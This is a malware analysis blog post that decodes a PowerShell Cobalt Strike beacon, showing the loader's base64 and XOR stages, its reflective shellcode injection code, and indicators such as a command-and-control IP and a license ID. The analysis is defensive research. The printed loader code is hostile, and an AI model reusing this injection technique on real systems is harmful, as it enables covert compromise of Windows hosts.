Inspecting a PowerShell Cobalt Strike Beacon

forensicitguy.github.io/inspecting-powershell-cobalt-strike-beacon/

January 9, 2022

By *Tony Lambert*
Posted *2022-01-09* Updated *2022-03-28* *7 min* read

In this post I want to take a look at a PowerShell-based Cobalt Strike beacon that appeared on MalwareBazaar. This particular beacon is representative of most PowerShell Cobalt Strike activity I see in the wild during my day job. The beacons often show up as service persistence during incidents or during other post-exploitation activity. If you want to follow along at home, the sample I'm using is here:

https://bazaar.abuse.ch/sample/6881531ab756d62bdb0c3279040a5cbe92f9adfeccb201cca85b7d3cff7158d3/

Triaging the File

Just like with other files, let's approach with caution and verify the file is actually PowerShell. We can use `file` and `head` to do this.

```
remnux@remnux:~/cases/cobaltstrike$ file payload.ps1
payload.ps1: ASCII text, with very long lines

remnux@remnux:~/cases/cobaltstrike$ head -c 100
payload.ps1
Set-StrictMode -Version 2

$DoIt = @'
ZnVuY3Rpb24gZnVuY19nZXRfcHJvY19hZGRyZXNzIHsKCVBhcmFtICgkd
mFyX2
```

We definitely have some PowerShell here. The cmdlet `Set-StrictMode` is a PowerShell feature used to enforce "scripting best practices." In addition, the `@'` signals the use of a "here-string", a string that may use multiple quotation mark literals and multiple lines of text. Now that we have a grasp of the file type, let's take a look at the contents.

Inspecting the File Contents

I personally love VSCode for inspecting code files, I know others typically get along with Sublime Editor as well. In this sample, we can observe:

```
Set-StrictMode -Version 2

$DoIt = @'
ZnVuY3Rpb24gZnVuY19nZXRfcHJvY19hZGRyZXNzIHsKCVBhcmFtICgkdmFyX21vZHVsZSwgJHZhcl9wcm9jZWR1cmUpCQkKCSR2YXJfdW5zYWZlX25hdGl2ZV9tZXRob2R
lcm8p
'@
$aa1234 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($DoIt))
If ([IntPtr]::size -eq 8) {
        start-job { param($a) IEX $a } -RunAs32 -Argument $aa1234 | wait-job | Receive-Job
}
else {
        IEX $aa1234
}
```

We can see the contents of `$DoIt` contain a decently-sized chunk of base64 text, but it's likely not big enough to be a complete Windows EXE. The contents of the base64 string are decoded, converted to UTF-8 and then executed using a combination of `Start-Job` and `Invoke-Expression` commands.

To get our next step, let's decode the base64 string manually using `base64 -d`. I've gone ahead and included the decoded code here:

```
function func_get_proc_address {
        Param ($var_module, $var_procedure)
        $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Lo
        $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 's
        return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.Handle
}

function func_get_delegate_type {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
                [Parameter(Position = 1)] [Type] $var_return_type = [Void]
        )

        $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedD
        $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $
        $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImple

        return $var_type_builder.CreateType()
}

[Byte[]]$var_code =
[System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHs
pxO')

for ($x = 0; $x -lt $var_code.Count; $x++) {
        $var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc)
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr
```

There’s a LOT to unpack here and wrap our brains around. To keep this post short and sweet, there are two portions to focus upon:

- The contents of `$var_code`

- The chunk of code containing `$var_code[$x] = $var_code[$x] -bxor 35`

Suffice to say, the rest of the code is overhead required to inject shellcode reflectively into the memory space of the PowerShell process executing the script. If you're curious about those portions, take a look into these keywords:

- GetProcAddress
- InMemoryModule
- ReflectedDelegate

Decoding the Shellcode

The `$var_code` variable contains Cobalt Strike beacon shellcode that was XOR'd with the value `35` before being base64 encoded. We can decode all this PowerShell on any platform. I'm using the command `pwsh` to do this on REMnux.

```
PS /home/remnux/cases/cobaltstrike> [Byte[]]$var_code =
[System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHs
pxO')

PS /home/remnux/cases/cobaltstrike> for ($x = 0; $x -lt $var_code.Count; $x++) {
>> $var_code[$x] = $var_code[$x] -bxor 35

PS /home/remnux/cases/cobaltstrike> Set-Content -Path ./shellcode.bin -Value $var_code -AsByteStream
```

Now we can take a look at the `shellcode.bin` file to get indicators. Also, the XOR with 35 is an indicator that the beacon is Cobalt Strike and not Metasploit or similar.

Getting Indicators from the Shellcode

Let's verify we have some functioning shellcode. We can do this with `capa`.

```
remnux@remnux:~/cases/cobaltstrike$ capa -f sc32 shellcode.bin

+------------------------+-------------------------------------------------------------
----+
| md5                    | 63603bb6854a022e997a06fe7220a220
|
| sha1                   | ce72e661393227a1816e43159139860660118ccb
|
| sha256                 |
0a0dddca72464f3baa600be64e9f7da9c0cbe1126e8e713d0c9dba6ed231234a |
| path                   | shellcode.bin
|
+------------------------+-------------------------------------------------------------
----+

+------------------------+-------------------------------------------------------------
----+
| ATT&CK Tactic          | ATT&CK Technique
|
|------------------------+-------------------------------------------------------------
----|
| DEFENSE EVASION        | Virtualization/Sandbox Evasion::System Checks T1497.001
|
| EXECUTION              | Shared Modules:: T1129
|
+------------------------+-------------------------------------------------------------
----+

+-----------------------------+--------------------------------------------------------
----+
| MBC Objective               | MBC Behavior
|
|-----------------------------+--------------------------------------------------------
----|
| ANTI-BEHAVIORAL ANALYSIS    | Virtual Machine Detection::Instruction Testing
[B0009.029]  |
+-----------------------------+--------------------------------------------------------
----+

+-----------------------------------------------------+--------------------------------
----+
| CAPABILITY                                          | NAMESPACE
|
|-----------------------------------------------------+--------------------------------
----|
| execute anti-VM instructions                        | anti-analysis/anti-vm/vm-
detection |
| access PEB ldr_data                                 | linking/runtime-linking
|
| parse PE exports                                    | load-code/pe
|
+-----------------------------------------------------+--------------------------------
----+
```

We definitely have some shellcode functionality here. The important part for me is the part about `access PEB ldr data`. This capability refers to the ability of the shellcode to resolve imports so it can use functions from DLLs. Shellcode doesn't have an import table like standard Windows EXEs do, so it has to go the long way around to find all its needed functions.

Since we're pretty sure this is a Cobalt Strike we can get further indicators using a couple tools. The first and simplest is `strings`.

```
remnux@remnux:~/cases/cobaltstrike$ strings shellcode.bin
;}$u
D$$[[aYZQ
]hnet
hwiniThLw&
WWWWWh:Vy
SPhW
RRRSRPh
SVh
hE!^1
QVPh
/rpc
Host: outlook.live.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like
Gecko)
pH<{
1o?/
%zKt
47.242.164[.]33
```

We can see some elements in the strings that could appear in HTTP traffic. These details are:

- `47.242.164[.]33/rpc` is likely the command and control address
- `User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)` is a HTTP User-Agent string
- `Host: outlook.live.com` and `Accept: */*` are HTTP header values

Another good way to glean indicators is using `1768.py`, a tool specifically designed to pull Cobalt Strike configuration details from beacons.

```
remnux@remnux:~/cases/cobaltstrike$ 1768.py --raw shellcode.bin
File: shellcode.bin
Probably found shellcode:
Parameter: 778 b'47.242.164.33'
license-id: 792 1359593325
push      :   190       8083 b'h\x93\x1f\x00\x00'
push      :   716       4096 b'h\x00\x10\x00\x00'
push      :   747       8192 b'h\x00 \x00\x00'
String: 440 b'User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like
Gecko)'
00000000: FC E8 89 00 00 00 60 89  E5 31 D2 64 8B 52 30 8B  ......`..1.d.R0.
00000010: 52 0C 8B 52 14 8B 72 28  0F B7 4A 26 31 FF 31 C0  R..R..r(..J&1.1.
00000020: AC 3C 61 7C 02 2C 20 C1  CF 0D 01 C7 E2 F0 52 57  .<a|., .......RW
00000030: 8B 52 10 8B 42 3C 01 D0  8B 40 78 85 C0 74 4A 01  .R..B<...@x..tJ.

...
```

We have a little confirmation on indicators here, and we also got an additional one: a license ID. Cobalt Strike beacons are supposed to contain watermarks/license IDs that allow analysts to track a beacon back to one particular licensee. In this case, we see the value `1359593325` . This value has been seen with loads of different activity in recent years from different groups.

And that's it for this post! If you've never seen a Cobalt Strike beacon before, this is probably the simplest version I've seen in a long time. Thank you for reading!